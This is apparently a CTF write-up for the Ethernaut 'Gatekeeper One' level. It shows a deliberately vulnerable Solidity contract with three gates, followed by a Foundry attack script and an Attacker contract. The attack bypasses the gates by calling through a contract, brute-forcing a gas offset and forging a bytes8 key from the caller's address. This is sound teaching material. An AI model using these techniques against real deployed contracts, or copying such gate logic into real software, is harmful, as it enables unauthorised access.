Gatekeeper One
title: Gatekeeper One weight: 13 type: docs prev: privacy next: gatekeeper-two
Level13 - ⭐⭐⭐⭐
Make it past the gatekeeper and register as an entrant to pass this level.
Things that might help:
- Remember what you’ve learned from the Telephone and Token levels.
- You can learn more about the special function
gasleft()
, in Solidity’s documentation (see here and here).
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Solution:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Attacker, GatekeeperOne} from "../src/13.sol";
contract POC is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address publicKey = vm.envAddress("PUBLIC_KEY");
address addr = vm.envAddress("INSTANCE_13");
vm.startBroadcast(deployerPrivateKey);
GatekeeperOne gate = GatekeeperOne(addr);
console.log('entrant = %s', gate.entrant());
Attacker attacker = new Attacker(address(gate));
// -----
bytes2 expected = bytes2(uint16(uint160(publicKey)));
console.logBytes2(expected);
// -----
console.logBytes20(bytes20(publicKey));
bytes8 gateKey = bytes8((uint64((uint160(publicKey) << 6 * 8)) >> 8 * 6) + 0x0100000000000000);
console.log('entrant = %s', gate.entrant());
attacker.attack(gateKey);
console.log('entrant = %s', gate.entrant());
vm.stopBroadcast();
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/console.sol";
interface GatekeeperOne {
function entrant() external returns(address);
function enter(bytes8 _gateKey) external returns (bool);
}
contract Attacker {
GatekeeperOne gatekeeper;
constructor(address _gatekeeper) {
gatekeeper = GatekeeperOne(_gatekeeper);
}
function attack(bytes8 _gateKey) public {
gatekeeper.enter{gas: 8191 + 24829}(_gateKey); // 24829 if found through brut force loop simulation (without --broadcast flag we can simulate execution)
}
}